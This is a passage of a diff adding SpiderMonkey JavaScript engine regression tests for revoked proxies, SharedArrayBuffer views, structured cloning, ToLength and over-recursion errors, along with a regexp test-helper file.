+ throw new Error("expected to throw on revoked proxy");
+ }
+ catch (e)
+ {
+ // Note: In the cross-compartment case, this is a TypeError from |global|,
+ // because the proxy's |setImmutablePrototype| method is what actually
+ // throws here. That's why we check for TypeError from either global.
+ // (Usually the method simply sets |*succeeded| to false and the
+ // caller handles or throws as needed after that. But not here.)
+ assertEq(e instanceof global.TypeError || e instanceof TypeError, true,
+ "expected TypeError, instead threw " + e);
+ }
+
+ var anotherRevocableTarget = global.evaluate("({})");
+ assertEq(setImmutablePrototype(anotherRevocableTarget), true);
+ checkPrototypeMutationFailure(anotherRevocableTarget, "another revocable target");
+
+ var anotherRevocable = global.Proxy.revocable(anotherRevocableTarget, {});
+ checkPrototypeMutationFailure(anotherRevocable.proxy, "another revocable target");
+
+ assertEq(anotherRevocable.revoke(), undefined);
+ try
+ {
+ var rv = setImmutablePrototype(anotherRevocable.proxy);
+ throw new Error("expected to throw on another revoked proxy, returned " + rv);
+ }
+ catch (e)
+ {
+ // NOTE: Again from |global| or |this|, as above.
+ assertEq(e instanceof global.TypeError || e instanceof TypeError, true,
+ "expected TypeError, instead threw " + e);
+ }
+}
+
+var global = this;
+runNormalTests(global); // same-global
+
+if (typeof newGlobal === "function")
+{
+ var otherGlobal = newGlobal();
+ var subsumingNothing = newGlobal({ principal: 0 });
+ var subsumingEverything = newGlobal({ principal: ~0 });
+
+ runNormalTests(otherGlobal); // cross-global
+ runNormalTests(subsumingNothing);
+ runNormalTests(subsumingEverything);
+}
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete");
diff --git a/js/src/tests/non262/extensions/shareddataview.js b/js/src/tests/non262/extensions/shareddataview.js
new file mode 100644
index 0000000000..30ec8ef68e
--- /dev/null
+++ b/js/src/tests/non262/extensions/shareddataview.js
@@ -0,0 +1,43 @@
+// |reftest| skip-if(!xulRuntime.shell)
+/* -*- Mode: js2; tab-width: 40; indent-tabs-mode: nil; c-basic-offset: 2 -*- */
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * https://creativecommons.org/publicdomain/zero/1.0/
+ */
+
+// Test DataView on SharedArrayBuffer.
+
+if (this.SharedArrayBuffer) {
+
+var sab = new SharedArrayBuffer(4096);
+var dv = new DataView(sab);
+
+assertEq(sab, dv.buffer);
+assertEq(dv.byteLength, sab.byteLength);
+assertEq(ArrayBuffer.isView(dv), true);
+
+var dv2 = new DataView(sab, 1075, 2048);
+
+assertEq(sab, dv2.buffer);
+assertEq(dv2.byteLength, 2048);
+assertEq(dv2.byteOffset, 1075);
+assertEq(ArrayBuffer.isView(dv2), true);
+
+// Test that it is the same buffer memory for the two views
+
+dv.setInt8(1075, 37);
+assertEq(dv2.getInt8(0), 37);
+
+// Test that range checking works
+
+assertThrowsInstanceOf(() => dv.setInt32(4098, -1), RangeError);
+assertThrowsInstanceOf(() => dv.setInt32(4094, -1), RangeError);
+assertThrowsInstanceOf(() => dv.setInt32(-1, -1), RangeError);
+
+assertThrowsInstanceOf(() => dv2.setInt32(2080, -1), RangeError);
+assertThrowsInstanceOf(() => dv2.setInt32(2046, -1), RangeError);
+assertThrowsInstanceOf(() => dv2.setInt32(-1, -1), RangeError);
+
+}
+
+reportCompare(true,true);
diff --git a/js/src/tests/non262/extensions/sharedtypedarray.js b/js/src/tests/non262/extensions/sharedtypedarray.js
new file mode 100644
index 0000000000..56187d29f5
--- /dev/null
+++ b/js/src/tests/non262/extensions/sharedtypedarray.js
@@ -0,0 +1,273 @@
+// |reftest| skip-if(!xulRuntime.shell)
+/* -*- Mode: js2; tab-width: 40; indent-tabs-mode: nil; c-basic-offset: 2 -*- */
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * https://creativecommons.org/publicdomain/zero/1.0/
+ */
+
+// Minimal test cases. Note that on 64-bit a SharedArrayBuffer is
+// very expensive under these rules - a 4GB area is reserved for it.
+// So don't go allocating a ton of them.
+//
+// These tests cannot test that sharing works across workers. There
+// are or will be tests, in dom/workers, that do that.
+
+var b;
+
+function testSharedArrayBuffer() {
+ b = new SharedArrayBuffer("4096"); // Test string conversion, too
+ assertEq(b instanceof SharedArrayBuffer, true);
+ assertEq(b.byteLength, 4096);
+
+ b.fnord = "Hi there";
+ assertEq(b.fnord, "Hi there");
+
+ SharedArrayBuffer.prototype.abracadabra = "no wishing for wishes!";
+ assertEq(b.abracadabra, "no wishing for wishes!");
+
+ // SharedArrayBuffer is not a conversion operator, not even for instances of itself
+ assertThrowsInstanceOf(() => SharedArrayBuffer(b), TypeError);
+
+ // can't convert any other object either
+ assertThrowsInstanceOf(() => SharedArrayBuffer({}), TypeError);
+
+ // byteLength can be invoked as per normal, indirectly
+ assertEq(Object.getOwnPropertyDescriptor(SharedArrayBuffer.prototype,"byteLength").get.call(b), 4096);
+
+ // however byteLength is not generic
+ assertThrowsInstanceOf(() => Object.getOwnPropertyDescriptor(SharedArrayBuffer.prototype,"byteLength").get.call({}), TypeError);
+
+}
+
+function testSharedTypedArray() {
+ var x1 = new Int8Array(b);
+ var x2 = new Int32Array(b);
+
+ assertEq(ArrayBuffer.isView(x1), true); // ArrayBuffer.isView() works even if the buffer is a SharedArrayBuffer
+ assertEq(ArrayBuffer.isView(x2), true);
+ assertEq(ArrayBuffer.isView({}), false);
+
+ assertEq(x1.buffer, b);
+ assertEq(x2.buffer, b);
+
+ assertEq(x1.byteLength, b.byteLength);
+ assertEq(x2.byteLength, b.byteLength);
+
+ assertEq(x1.byteOffset, 0);
+ assertEq(x2.byteOffset, 0);
+
+ assertEq(x1.length, b.byteLength);
+ assertEq(x2.length, b.byteLength / 4);
+
+ var x3 = new Int8Array(b, 20);
+ assertEq(x3.length, b.byteLength - 20);
+ assertEq(x3.byteOffset, 20);
+
+ var x3 = new Int32Array(b, 20, 10);
+ assertEq(x3.length, 10);
+ assertEq(x3.byteOffset, 20);
+
+ // Mismatched type
+ assertThrowsInstanceOf(() => Int8Array(x2), TypeError);
+
+ // Unconvertable object
+ assertThrowsInstanceOf(() => Int8Array({}), TypeError);
+
+ // negative start
+ assertThrowsInstanceOf(() => new Int8Array(b, -7), RangeError);
+
+ // not congruent mod element size
+ assertThrowsInstanceOf(() => new Int32Array(b, 3), RangeError);
+
+ // start out of range
+ assertThrowsInstanceOf(() => new Int32Array(b, 4104), RangeError);
+
+ // end out of range
+ assertThrowsInstanceOf(() => new Int32Array(b, 4092, 2), RangeError);
+
+ // Views alias the storage
+ x2[0] = -1;
+ assertEq(x1[0], -1);
+ x1[0] = 1;
+ x1[1] = 1;
+ x1[2] = 1;
+ x1[3] = 1;
+ assertEq(x2[0], 0x01010101);
+
+ assertEq(x2[5], 0);
+ x3[0] = -1;
+ assertEq(x2[5], -1);
+
+ // Out-of-range accesses yield undefined
+ assertEq(x2[1023], 0);
+ assertEq(x2[1024], undefined);
+ assertEq(x2[2047], undefined);
+}
+
+function testSharedTypedArrayMethods() {
+ var v = new Int32Array(b);
+ for ( var i=0 ; i < v.length ; i++ )
+ v[i] = i;
+
+ // Rudimentary tests - they don't test any boundary conditions
+
+ // subarray
+ var w = v.subarray(10, 20);
+ assertEq(w.length, 10);
+ for ( var i=0 ; i < w.length ; i++ )
+ assertEq(w[i], v[i+10]);
+ for ( var i=0 ; i < w.length ; i++ )
+ w[i] = -w[i];
+ for ( var i=0 ; i < w.length ; i++ )
+ assertEq(w[i], v[i+10]);
+
+ // copyWithin
+ for ( var i=0 ; i < v.length ; i++ )
+ v[i] = i;
+ v.copyWithin(10, 20, 30);
+ for ( var i=0 ; i < 10 ; i++ )
+ assertEq(v[i], i);
+ for ( var i=10 ; i < 20 ; i++ )
+ assertEq(v[i], v[i+10]);
+
+ // set
+ for ( var i=0 ; i < v.length ; i++ )
+ v[i] = i;
+ v.set([-1,-2,-3,-4,-5,-6,-7,-8,-9,-10], 5);
+ for ( var i=5 ; i < 15 ; i++ )
+ assertEq(v[i], -i+4);
+
+ // In the following two cases the two arrays will reference the same buffer,
+ // so there will be an overlapping copy.
+ //
+ // Case 1: Read from lower indices than are written
+ v.set(v.subarray(0, 7), 1);
+ assertEq(v[0], 0);
+ assertEq(v[1], 0);
+ assertEq(v[2], 1);
+ assertEq(v[3], 2);
+ assertEq(v[4], 3);
+ assertEq(v[5], 4);
+ assertEq(v[6], -1);
+ assertEq(v[7], -2);
+ assertEq(v[8], -4);
+ assertEq(v[9], -5);
+
+ // Case 2: Read from higher indices than are written
+ v.set(v.subarray(1, 5), 0);
+ assertEq(v[0], 0);
+ assertEq(v[1], 1);
+ assertEq(v[2], 2);
+ assertEq(v[3], 3);
+ assertEq(v[4], 3);
+ assertEq(v[5], 4);
+ assertEq(v[6], -1);
+ assertEq(v[7], -2);
+ assertEq(v[8], -4);
+ assertEq(v[9], -5);
+}
+
+function testClone1() {
+ var sab1 = b;
+ var blob = serialize(sab1, [], {SharedArrayBuffer: 'allow'});
+ var sab2 = deserialize(blob, {SharedArrayBuffer: 'allow'});
+ if (typeof sharedAddress != "undefined")
+ assertEq(sharedAddress(sab1), sharedAddress(sab2));
+}
+
+function testClone2() {
+ var sab = b;
+ var ia1 = new Int32Array(sab);
+ var blob = serialize(ia1, [], {SharedArrayBuffer: 'allow'});
+ var ia2 = deserialize(blob, {SharedArrayBuffer: 'allow'});
+ assertEq(ia1.length, ia2.length);
+ assertEq(ia1.buffer instanceof SharedArrayBuffer, true);
+ if (typeof sharedAddress != "undefined")
+ assertEq(sharedAddress(ia1.buffer), sharedAddress(ia2.buffer));
+ ia1[10] = 37;
+ assertEq(ia2[10], 37);
+}
+
+// Serializing a SharedArrayBuffer should fail if we've set its flag to 'deny' or if
+// the flag is bogus or if the flag is not set to 'allow' explicitly
+
+function testNoClone() {
+ // This just tests the API in serialize()
+ assertThrowsInstanceOf(() => serialize(b, [], {SharedArrayBuffer: false}), Error);
+
+ // This tests the actual cloning functionality - should fail
+ assertThrowsInstanceOf(() => serialize(b, [], {SharedArrayBuffer: 'deny'}), TypeError);
+
+ // This tests that cloning a SharedArrayBuffer is not allowed by default
+ assertThrowsInstanceOf(() => serialize(b), TypeError);
+
+ // Ditto - should succeed
+ assertEq(typeof serialize(b, [], {SharedArrayBuffer: 'allow'}), "object");
+
+ let blob = serialize(b, [], {SharedArrayBuffer: 'allow'});
+ // This just tests the API in deserialize()
+ assertThrowsInstanceOf(() => deserialize(blob, {SharedArrayBuffer: false}), Error);
+
+ // This tests the actual cloning functionality - should fail
+ assertThrowsInstanceOf(() => deserialize(blob, {SharedArrayBuffer: 'deny'}), TypeError);
+
+ // This tests that cloning a SharedArrayBuffer is not allowed by default
+ assertThrowsInstanceOf(() => deserialize(blob), TypeError);
+
+ // Ditto - should succeed
+ assertEq(typeof deserialize(blob, {SharedArrayBuffer: 'allow'}), "object");
+}
+
+function testRedundantTransfer() {
+ // Throws TypeError in the shell, DataCloneError in the browser.
+ assertThrowsInstanceOf(() => {
+ var sab1 = b;
+ var blob = serialize(sab1, [sab1], {SharedArrayBuffer: 'allow'});
+ }, TypeError);
+}
+
+function testApplicable() {
+ var sab = b;
+ var x;
+
+ // Just make sure we can create all the view types on shared memory.
+
+ x = new Int32Array(sab);
+ assertEq(x.length, sab.byteLength / Int32Array.BYTES_PER_ELEMENT);
+ x = new Uint32Array(sab);
+ assertEq(x.length, sab.byteLength / Uint32Array.BYTES_PER_ELEMENT);
+
+ x = new Int16Array(sab);
+ assertEq(x.length, sab.byteLength / Int16Array.BYTES_PER_ELEMENT);
+ x = new Uint16Array(sab);
+ assertEq(x.length, sab.byteLength / Uint16Array.BYTES_PER_ELEMENT);
+
+ x = new Int8Array(sab);
+ assertEq(x.length, sab.byteLength / Int8Array.BYTES_PER_ELEMENT);
+ x = new Uint8Array(sab);
+ assertEq(x.length, sab.byteLength / Uint8Array.BYTES_PER_ELEMENT);
+
+ // Though the atomic operations are illegal on Uint8ClampedArray and the
+ // float arrays, they can still be used to create views on shared memory.
+
+ x = new Uint8ClampedArray(sab);
+ assertEq(x.length, sab.byteLength / Uint8ClampedArray.BYTES_PER_ELEMENT);
+
+ x = new Float32Array(sab);
+ assertEq(x.length, sab.byteLength / Float32Array.BYTES_PER_ELEMENT);
+ x = new Float64Array(sab);
+ assertEq(x.length, sab.byteLength / Float64Array.BYTES_PER_ELEMENT);
+}
+
+if (this.SharedArrayBuffer) {
+ testSharedArrayBuffer();
+ testSharedTypedArray();
+ testSharedTypedArrayMethods();
+ testClone1();
+ testClone2();
+ testNoClone();
+ testRedundantTransfer();
+ testApplicable();
+}
+
+reportCompare(0, 0, 'ok');
diff --git a/js/src/tests/non262/extensions/shell.js b/js/src/tests/non262/extensions/shell.js
new file mode 100644
index 0000000000..e7381a0b93
--- /dev/null
+++ b/js/src/tests/non262/extensions/shell.js
@@ -0,0 +1,345 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+(function(global) {
+ /*
+ * Date: 07 February 2001
+ *
+ * Functionality common to RegExp testing -
+ */
+ //-----------------------------------------------------------------------------
+
+ var MSG_PATTERN = '\nregexp = ';
+ var MSG_STRING = '\nstring = ';
+ var MSG_EXPECT = '\nExpect: ';
+ var MSG_ACTUAL = '\nActual: ';
+ var ERR_LENGTH = '\nERROR !!! match arrays have different lengths:';
+ var ERR_MATCH = '\nERROR !!! regexp failed to give expected match array:';
+ var ERR_NO_MATCH = '\nERROR !!! regexp FAILED to match anything !!!';
+ var ERR_UNEXP_MATCH = '\nERROR !!! regexp MATCHED when we expected it to fail !!!';
+ var CHAR_LBRACKET = '[';
+ var CHAR_RBRACKET = ']';
+ var CHAR_QT_DBL = '"';
+ var CHAR_QT = "'";
+ var CHAR_NL = '\n';
+ var CHAR_COMMA = ',';
+ var CHAR_SPACE = ' ';
+ var TYPE_STRING = typeof 'abc';
+
+
+
+ function testRegExp(statuses, patterns, strings, actualmatches, expectedmatches)
+ {
+ var status = '';
+ var pattern = new RegExp();
+ var string = '';
+ var actualmatch = new Array();
+ var expectedmatch = new Array();
+ var state = '';
+ var lActual = -1;
+ var lExpect = -1;
+
+
+ for (var i=0; i != patterns.length; i++)
+ {
+ status = statuses[i];
+ pattern = patterns[i];
+ string = strings[i];
+ actualmatch=actualmatches[i];
+ expectedmatch=expectedmatches[i];
+ state = getState(status, pattern, string);
+
+ description = status;
+
+ if(actualmatch)
+ {
+ actual = formatArray(actualmatch);
+ if(expectedmatch)
+ {
+ // expectedmatch and actualmatch are arrays -
+ lExpect = expectedmatch.length;
+ lActual = actualmatch.length;
+
+ var expected = formatArray(expectedmatch);
+
+ if (lActual != lExpect)
+ {
+ reportCompare(lExpect, lActual,
+ state + ERR_LENGTH +
+ MSG_EXPECT + expected +
+ MSG_ACTUAL + actual +
+ CHAR_NL
+ );
+ continue;
+ }
+
+ // OK, the arrays have same length -
+ if (expected != actual)
+ {
+ reportCompare(expected, actual,
+ state + ERR_MATCH +
+ MSG_EXPECT + expected +
+ MSG_ACTUAL + actual +
+ CHAR_NL
+ );
+ }
+ else
+ {
+ reportCompare(expected, actual, state)
+ }
+
+ }
+ else //expectedmatch is null - that is, we did not expect a match -
+ {
+ expected = expectedmatch;
+ reportCompare(expected, actual,
+ state + ERR_UNEXP_MATCH +
+ MSG_EXPECT + expectedmatch +
+ MSG_ACTUAL + actual +
+ CHAR_NL
+ );
+ }
+
+ }
+ else // actualmatch is null
+ {
+ if (expectedmatch)
+ {
+ actual = actualmatch;
+ reportCompare(expected, actual,
+ state + ERR_NO_MATCH +
+ MSG_EXPECT + expectedmatch +
+ MSG_ACTUAL + actualmatch +
+ CHAR_NL
+ );
+ }
+ else // we did not expect a match
+ {
+ // Being ultra-cautious. Presumably expectedmatch===actualmatch===null
+ expected = expectedmatch;
+ actual = actualmatch;
+ reportCompare (expectedmatch, actualmatch, state);
+ }
+ }
+ }
+ }
+
+ global.testRegExp = testRegExp;
+
+ function getState(status, pattern, string)
+ {
+ /*
+ * Escape \n's, etc. to make them LITERAL in the presentation string.
+ * We don't have to worry about this in |pattern|; such escaping is
+ * done automatically by pattern.toString(), invoked implicitly below.
+ *
+ * One would like to simply do: string = string.replace(/(\s)/g, '\$1').
+ * However, the backreference $1 is not a literal string value,
+ * so this method doesn't work.
+ *
+ * Also tried string = string.replace(/(\s)/g, escape('$1'));
+ * but this just inserts the escape of the literal '$1', i.e. '%241'.
+ */
+ string = string.replace(/\n/g, '\\n');
+ string = string.replace(/\r/g, '\\r');
+ string = string.replace(/\t/g, '\\t');
+ string = string.replace(/\v/g, '\\v');
+ string = string.replace(/\f/g, '\\f');
+
+ return (status + MSG_PATTERN + pattern + MSG_STRING + singleQuote(string));
+ }
+
+
+ /*
+ * If available, arr.toSource() gives more detail than arr.toString()
+ *
+ * var arr = Array(1,2,'3');
+ *
+ * arr.toSource()
+ * [1, 2, "3"]
+ *
+ * arr.toString()
+ * 1,2,3
+ *
+ * But toSource() doesn't exist in Rhino, so use our own imitation, below -
+ *
+ */
+ function formatArray(arr)
+ {
+ try
+ {
+ return arr.toSource();
+ }
+ catch(e)
+ {
+ return toSource(arr);
+ }
+ }
+
+
+ /*
+ * Imitate SpiderMonkey's arr.toSource() method:
+ *
+ * a) Double-quote each array element that is of string type
+ * b) Represent |undefined| and |null| by empty strings
+ * c) Delimit elements by a comma + single space
+ * d) Do not add delimiter at the end UNLESS the last element is |undefined|
+ * e) Add square brackets to the beginning and end of the string
+ */
+ function toSource(arr)
+ {
+ var delim = CHAR_COMMA + CHAR_SPACE;
+ var elt = '';
+ var ret = '';
+ var len = arr.length;
+
+ for (i=0; i<len; i++)
+ {
+ elt = arr[i];
+
+ switch(true)
+ {
+ case (typeof elt === TYPE_STRING) :
+ ret += doubleQuote(elt);
+ break;
+
+ case (elt === undefined || elt === null) :
+ break; // add nothing but the delimiter, below -
+
+ default:
+ ret += elt.toString();
+ }
+
+ if ((i < len-1) || (elt === undefined))
+ ret += delim;
+ }
+
+ return CHAR_LBRACKET + ret + CHAR_RBRACKET;
+ }
+
+
+ function doubleQuote(text)
+ {
+ return CHAR_QT_DBL + text + CHAR_QT_DBL;
+ }
+
+
+ function singleQuote(text)
+ {
+ return CHAR_QT + text + CHAR_QT;
+ }
+
+})(this);
+
+
+(function(global) {
+
+ // The Worker constructor can take a relative URL, but different test runners
+ // run in different enough environments that it doesn't all just automatically
+ // work. For the shell, we use just a filename; for the browser, see browser.js.
+ var workerDir = '';
+
+ // Assert that cloning b does the right thing as far as we can tell.
+ // Caveat: getters in b must produce the same value each time they're
+ // called. We may call them several times.
+ //
+ // If desc is provided, then the very first thing we do to b is clone it.
+ // (The self-modifying object test counts on this.)
+ //
+ function clone_object_check(b, desc) {
+ function classOf(obj) {
+ return Object.prototype.toString.call(obj);
+ }
+
+ function ownProperties(obj) {
+ return Object.getOwnPropertyNames(obj).
+ map(function (p) { return [p, Object.getOwnPropertyDescriptor(obj, p)]; });
+ }
+
+ function isArrayLength(obj, pair) {
+ return Array.isArray(obj) && pair[0] == "length";
+ }
+
+ function isCloneable(obj, pair) {
+ return isArrayLength(obj, pair) || (typeof pair[0] === 'string' && pair[1].enumerable);
+ }
+
+ function notIndex(p) {
+ var u = p >>> 0;
+ return !("" + u == p && u != 0xffffffff);
+ }
+
+ function assertIsCloneOf(a, b, path) {
+ assertEq(a === b, false);
+
+ var ca = classOf(a);
+ assertEq(ca, classOf(b), path);
+
+ assertEq(Object.getPrototypeOf(a),
+ ca == "[object Object]" ? Object.prototype : Array.prototype,
+ path);
+
+ // 'b', the original object, may have non-enumerable or XMLName
+ // properties; ignore them (except .length, if it's an Array).
+ // 'a', the clone, should not have any non-enumerable properties
+ // (except .length, if it's an Array) or XMLName properties.
+ var pb = ownProperties(b).filter(function(element) {
+ return isCloneable(b, element);
+ });
+ var pa = ownProperties(a);
+ for (var i = 0; i < pa.length; i++) {
+ assertEq(typeof pa[i][0], "string", "clone should not have E4X properties " + path);
+ if (!isCloneable(a, pa[i])) {
+ throw new Error("non-cloneable clone property " + pa[i][0] + " " + path);
+ }
+ }
+
+ // Check that, apart from properties whose names are array indexes,
+ // the enumerable properties appear in the same order.
+ var aNames = pa.map(function (pair) { return pair[1]; }).filter(notIndex);
+ var bNames = pa.map(function (pair) { return pair[1]; }).filter(notIndex);
+ assertEq(aNames.join(","), bNames.join(","), path);
+
+ // Check that the lists are the same when including array indexes.
+ function byName(a, b) { a = a[0]; b = b[0]; return a < b ? -1 : a === b ? 0 : 1; }
+ pa.sort(byName);
+ pb.sort(byName);
+ assertEq(pa.length, pb.length, "should see the same number of properties " + path);
+ for (var i = 0; i < pa.length; i++) {
+ var aName = pa[i][0];
+ var bName = pb[i][0];
+ assertEq(aName, bName, path);
+
+ var path2 = path + "." + aName;
+ var da = pa[i][1];
+ var db = pb[i][1];
+ if (!isArrayLength(a, pa[i])) {
+ assertEq(da.configurable, true, path2);
+ }
+ assertEq(da.writable, true, path2);
+ assertEq("value" in da, true, path2);
+ var va = da.value;
+ var vb = b[pb[i][0]];
+ if (typeof va === "object" && va !== null)
+ queue.push([va, vb, path2]);
+ else
+ assertEq(va, vb, path2);
+ }
+ }
+
+ var banner = "while testing clone of " + (desc || JSON.stringify(b));
+ var a = deserialize(serialize(b));
+ var queue = [[a, b, banner]];
+ while (queue.length) {
+ var triple = queue.shift();
+ assertIsCloneOf(triple[0], triple[1], triple[2]);
+ }
+
+ return a; // for further testing
+ }
+ global.clone_object_check = clone_object_check;
+
+})(this);
diff --git a/js/src/tests/non262/extensions/sps-generators.js b/js/src/tests/non262/extensions/sps-generators.js
new file mode 100644
index 0000000000..e165649446
--- /dev/null
+++ b/js/src/tests/non262/extensions/sps-generators.js
@@ -0,0 +1,39 @@
+// |reftest| skip-if(!xulRuntime.shell)
+
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 822041;
+var summary = "Live generators should not cache Gecko Profiler state";
+
+print(BUGNUMBER + ": " + summary);
+
+function* gen() {
+ var x = yield turnoff();
+ yield x;
+ yield 'bye';
+}
+
+function turnoff() {
+ print("Turning off profiler\n");
+ disableGeckoProfiling();
+ return 'hi';
+}
+
+for (var slowAsserts of [ true, false ]) {
+ // The slowAssertions setting is not expected to matter
+ if (slowAsserts)
+ enableGeckoProfilingWithSlowAssertions();
+ else
+ enableGeckoProfiling();
+
+ g = gen();
+ assertEq(g.next().value, 'hi');
+ assertEq(g.next('gurgitating...').value, 'gurgitating...');
+ for (var x of g)
+ assertEq(x, 'bye');
+}
+
+// This is really a crashtest
+reportCompare(0, 0, 'ok');
diff --git a/js/src/tests/non262/extensions/string-literal-getter-setter-decompilation.js b/js/src/tests/non262/extensions/string-literal-getter-setter-decompilation.js
new file mode 100644
index 0000000000..a0a5714053
--- /dev/null
+++ b/js/src/tests/non262/extensions/string-literal-getter-setter-decompilation.js
@@ -0,0 +1,34 @@
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+var f;
+try
+{
+ f = eval("(function literalInside() { return { set 'c d e'(v) { } }; })");
+}
+catch (e)
+{
+ assertEq(true, false,
+ "string-literal property name in setter in object literal in " +
+ "function statement failed to parse: " + e);
+}
+
+var fstr = "" + f;
+assertEq(fstr.indexOf("set") < fstr.indexOf("c d e"), true,
+ "should be using new-style syntax with string literal in place of " +
+ "property identifier");
+assertEq(fstr.indexOf("setter") < 0, true, "using old-style syntax?");
+
+var o = f();
+var ostr = "" + o;
+assertEq("c d e" in o, true, "missing the property?");
+assertEq("set" in Object.getOwnPropertyDescriptor(o, "c d e"), true,
+ "'c d e' property not a setter?");
+// disabled because we still generate old-style syntax here (toSource
+// decompilation is as yet unfixed)
+// assertEq(ostr.indexOf("set") < ostr.indexOf("c d e"), true,
+// "should be using new-style syntax when getting the source of a " +
+// "getter/setter while decompiling an object");
+// assertEq(ostr.indexOf("setter") < 0, true, "using old-style syntax?");
+
+reportCompare(true, true);
diff --git a/js/src/tests/non262/extensions/toLength.js b/js/src/tests/non262/extensions/toLength.js
new file mode 100644
index 0000000000..f2216e7b9c
--- /dev/null
+++ b/js/src/tests/non262/extensions/toLength.js
@@ -0,0 +1,41 @@
+// |reftest| skip-if(!xulRuntime.shell)
+var BUGNUMBER = 1040196;
+var summary = 'ToLength';
+
+print(BUGNUMBER + ": " + summary);
+
+var ToLength = getSelfHostedValue('ToLength');
+
+// Negative operands
+assertEq(ToLength(-0), 0);
+assertEq(ToLength(-1), 0);
+assertEq(ToLength(-2), 0);
+assertEq(ToLength(-1 * Math.pow(2, 56)), 0);
+assertEq(ToLength(-1 * Math.pow(2, 56) - 2), 0);
+assertEq(ToLength(-1 * Math.pow(2, 56) - 2.4444), 0);
+assertEq(ToLength(-Infinity), 0);
+
+// Small non-negative operands
+assertEq(ToLength(0), 0);
+assertEq(ToLength(1), 1);
+assertEq(ToLength(2), 2);
+assertEq(ToLength(3.3), 3);
+assertEq(ToLength(10/3), 3);
+
+// Large non-negative operands
+var maxLength = Math.pow(2, 53) - 1;
+assertEq(ToLength(maxLength - 1), maxLength - 1);
+assertEq(ToLength(maxLength - 0.0000001), maxLength);
+assertEq(ToLength(maxLength), maxLength);
+assertEq(ToLength(maxLength + 0.00000000000001), maxLength);
+assertEq(ToLength(maxLength + 1), maxLength);
+assertEq(ToLength(maxLength + 2), maxLength);
+assertEq(ToLength(Math.pow(2,54)), maxLength);
+assertEq(ToLength(Math.pow(2,64)), maxLength);
+assertEq(ToLength(Infinity), maxLength);
+
+// NaN operand
+assertEq(ToLength(NaN), 0);
+
+
+reportCompare(0, 0, "ok");
diff --git a/js/src/tests/non262/extensions/toLocaleString-infinite-recursion.js b/js/src/tests/non262/extensions/toLocaleString-infinite-recursion.js
new file mode 100644
index 0000000000..a11433ce46
--- /dev/null
+++ b/js/src/tests/non262/extensions/toLocaleString-infinite-recursion.js
@@ -0,0 +1,31 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 653789;
+var summary = 'Check for too-deep stack when calling toLocaleString';
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+try
+{
+ "" + { toString: Object.prototype.toLocaleString };
+ throw new Error("should have thrown on over-recursion");
+}
+catch (e)
+{
+ assertEq(e instanceof InternalError, true);
+}
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("All tests passed!");
diff --git a/js/src/tests/non262/extensions/toSource-infinite-recursion.js b/js/src/tests/non262/extensions/toSource-infinite-recursion.js
new file mode 100644
index 0000000000..7c5600fc82
--- /dev/null
+++ b/js/src/tests/non262/extensions/toSource-infinite-recursion.js
@@ -0,0 +1,36 @@
+// |reftest| skip-if(!Error.prototype.toSource)
+
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 650574;
+var summary = 'Check for too-deep stack when converting a value to source';
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+try
+{
+ var e = Error('');
+ e.fileName = e;
+ e.toSource();
+ throw new Error("should have thrown");
+}
+catch (e)
+{
+ assertEq(e instanceof InternalError, true,
+ "should have thrown for over-recursion");
+}
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("All tests passed!");
diff --git a/js/src/tests/non262/extensions/too-many-arguments-constructing-bound-function.js b/js/src/tests/non262/extensions/too-many-arguments-constructing-bound-function.js
new file mode 100644
index 0000000000..e108e4c0b2
--- /dev/null
+++ b/js/src/tests/non262/extensions/too-many-arguments-constructing-bound-function.js
@@ -0,0 +1,54 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/publicdomain/zero/1.0/
+ */
+
+var gTestfile = "too-many-arguments-constructing-bound-function.js";
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 1303678;
+var summary =
+ "Don't assert trying to construct a bound function whose bound-target " +
+ "construct operation passes more than ARGS_LENGTH_MAX arguments";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+const ARGS_LENGTH_MAX = typeof getMaxArgs === "function"
+ ? getMaxArgs()
+ : 500000;
+
+const halfRoundedDown = Math.floor(ARGS_LENGTH_MAX / 2);
+const halfRoundedUp = Math.ceil(ARGS_LENGTH_MAX / 2);
+
+function boundTarget()
+{
+ return new Number(arguments.length);
+}
+
+var boundArgs = Array(halfRoundedDown).fill(0);
+var boundFunction = boundTarget.bind(null, ...boundArgs);
+
+var additionalArgs = Array(halfRoundedUp + 1).fill(0);
+
+try
+{
+ assertEq(new (boundFunction)(...additionalArgs).valueOf(),
+ ARGS_LENGTH_MAX + 1);
+ // If we reach here, that's fine -- it's okay if ARGS_LENGTH_MAX isn't
+ // precisely respected, because there's no specified exact limit.
+}
+catch (e)
+{
+ assertEq(e instanceof RangeError, true,
+ "SpiderMonkey throws RangeError for too many args");
+}
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete");
diff --git a/js/src/tests/non262/extensions/typedarray-copyWithin-arguments-detaching.js b/js/src/tests/non262/extensions/typedarray-copyWithin-arguments-detaching.js
new file mode 100644
index 0000000000..34b0ab5558
--- /dev/null
+++ b/js/src/tests/non262/extensions/typedarray-copyWithin-arguments-detaching.js
@@ -0,0 +1,111 @@
+/*
